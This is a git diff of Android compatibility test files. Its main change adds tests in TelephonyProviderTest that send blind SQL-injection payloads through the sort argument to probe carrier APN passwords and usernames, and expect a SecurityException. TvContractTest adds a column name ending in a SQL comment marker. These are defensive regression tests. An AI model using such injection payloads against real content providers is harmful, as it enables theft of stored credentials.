index 05acf329b0a..3d449f20bf4 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -59,7 +59,36 @@ public class TelephonyProviderTest extends InstrumentationTestCase {
String[] selectionArgs = null;
Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
APN_PROJECTION, selection, selectionArgs, null);
- fail("Expected SecurityExceptio");
+ fail("Expected SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ public void testNoAccessToPasswordThruSort() {
+ try {
+ String selection = Carriers.CURRENT + " IS NOT NULL";
+ String[] selectionArgs = null;
+ String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+ + " password LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+ Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+ APN_PROJECTION, selection, selectionArgs, sort);
+ fail("Expected SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ public void testNoAccessToUser() {
+ try {
+ String selection = Carriers.CURRENT + " IS NOT NULL AND "
+ + Carriers.USER + " IS NOT NULL";
+ String[] selectionArgs = null;
+ String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+ + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+ Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+ APN_PROJECTION, selection, selectionArgs, sort);
+ fail("Expected SecurityException");
} catch (SecurityException e) {
// expected
}
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 27c388a9153..6314ec59209 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -105,7 +105,8 @@ public class TvContractTest extends AndroidTestCase {
private static final String WHITE_SPACES = " \r \n \t \f ";
private static final String PARAM_CANONICAL_GENRE = "canonical_genre";
- private static final String NON_EXISTING_COLUMN_NAME = "non_existing_column";
+ private static final String[] NON_EXISTING_COLUMN_NAMES =
+ {"non_existing_column", "another non-existing column --"};
private String mInputId;
private ContentResolver mContentResolver;
@@ -336,15 +337,20 @@ public class TvContractTest extends AndroidTestCase {
private void verifyNonExistingColumn(Uri channelUri, long channelId) {
String[] projection = {
Channels._ID,
- NON_EXISTING_COLUMN_NAME
+ NON_EXISTING_COLUMN_NAMES[0],
+ NON_EXISTING_COLUMN_NAMES[1]
};
try (Cursor cursor = mContentResolver.query(channelUri, projection, null, null, null)) {
assertNotNull(cursor);
assertEquals(cursor.getCount(), 1);
assertTrue(cursor.moveToNext());
assertEquals(channelId, cursor.getLong(0));
+ assertEquals(NON_EXISTING_COLUMN_NAMES[0], cursor.getColumnName(1));
assertNull(cursor.getString(1));
assertEquals(0, cursor.getInt(1));
+ assertEquals(NON_EXISTING_COLUMN_NAMES[1], cursor.getColumnName(2));
+ assertNull(cursor.getString(2));
+ assertEquals(0, cursor.getInt(2));
}
}
@@ -533,7 +539,8 @@ public class TvContractTest extends AndroidTestCase {
return;
}
ContentValues values = createDummyChannelValues(mInputId, false);
- values.put(NON_EXISTING_COLUMN_NAME, "dummy value");
+ values.put(NON_EXISTING_COLUMN_NAMES[0], "dummy value 0");
+ values.put(NON_EXISTING_COLUMN_NAMES[1], "dummy value 1");
Uri rowUri = mContentResolver.insert(mChannelsUri, values);
long channelId = ContentUris.parseId(rowUri);
Uri channelUri = TvContract.buildChannelUri(channelId);
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 866ac57988c..7f4264f8369 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
<android.view.cts.MockView
android:id="@+id/mock_view"
- android:layout_width="100dp"
- android:layout_height="75dp"/>
+ android:layout_width="75dp"
+ android:layout_height="100dp"/>
<android.view.cts.MockView
android:id="@+id/scroll_view"
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index c7297f11731..a934986793a 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -2044,8 +2044,8 @@ public class ViewTest {
final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
float density = view.getContext().getResources().getDisplayMetrics().density;
- int size1 = (int) (100 * density + 0.5);
- int size2 = (int) (75 * density + 0.5);
+ int size1 = (int) (75 * density + 0.5);
+ int size2 = (int) (100 * density + 0.5);
assertTrue(view.hasCalledOnMeasure());
assertEquals(size1, view.getMeasuredWidth());
@@ -2750,8 +2750,8 @@ public class ViewTest {
Rect rect = new Rect();
float density = view.getContext().getResources().getDisplayMetrics().density;
- int size1 = (int) (100 * density + 0.5);
- int size2 = (int) (75 * density + 0.5);
+ int size1 = (int) (75 * density + 0.5);
+ int size2 = (int) (100 * density + 0.5);
assertTrue(view.getLocalVisibleRect(rect));
assertEquals(0, rect.left);
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84a799992b6..9c9217bb992 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -46,6 +46,7 @@ import android.util.SparseArray;
import android.view.Display;
import android.view.PointerIcon;
import android.view.View;
+import android.view.WindowManager;
import android.widget.FrameLayout;
import androidx.test.InstrumentationRegistry;
@@ -104,6 +105,8 @@ public class CapturedActivity extends Activity {
// Set the NULL pointer icon so that it won't obstruct the captured image.
getWindow().getDecorView().setPointerIcon(
PointerIcon.getSystemIcon(this, PointerIcon.TYPE_NULL));
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
mProjectionManager =
(MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index da8e11f3314..dc53d6b0c74 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -20,7 +20,7 @@ LOCAL_MODULE := cts-dynamic-config
LOCAL_MODULE_CLASS := FAKE
LOCAL_IS_HOST_MODULE := true
-LOCAL_COMPATIBILITY_SUITE := cts general-tests vts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests vts mts
# my_test_config_file := DynamicConfig.xml
# TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index 37b7e2ed92b..400dac77427 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -31,6 +31,7 @@ android_test {
"cts",
"vts",
"general-tests",
+ "mts",
],
sdk_version: "test_current",
}